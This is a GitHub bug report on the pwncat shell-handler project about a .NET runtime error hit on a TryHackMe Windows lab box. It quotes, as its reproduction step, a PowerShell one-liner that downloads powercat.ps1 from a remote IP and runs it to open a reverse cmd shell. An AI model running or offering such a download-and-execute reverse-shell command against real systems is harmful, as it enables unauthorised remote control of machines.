calebstewart / pwncat

Fancy reverse and bind shell handler
https://pwncat.readthedocs.io
MIT License
2.58k stars 250 forks source link

This assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded #250

Open LOveSk8 opened 2 years ago

LOveSk8 commented 2 years ago

Bug Description

This assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded

pwncat version

Provide the output of pwncat --version or a commit hash if working from a development branch.

$ pwncat-cs -v
0.5.4

Target System (aka "victim")

Provide as much detail about the target host as possible. If this is a TryHackMe or Hack The Box or similar machine, please provide the machine name and/or link as well.

https://tryhackme.com/room/blueprint

Steps to Reproduce

Steps to reproduce the behavior:

  1. During the Reverse shell on the windows machine box using powercat.ps1 failed due to this assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded.
  2. powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.89.188:8080/oscommerce-2.3.4/catalog/install/includes/powercat.ps1');powercat -c -p 1338 -e cmd"

Expected Behavior

I expected to get a reverse shell and same features as when using it on linux boxes

Screenshots

2022-05-04_09-41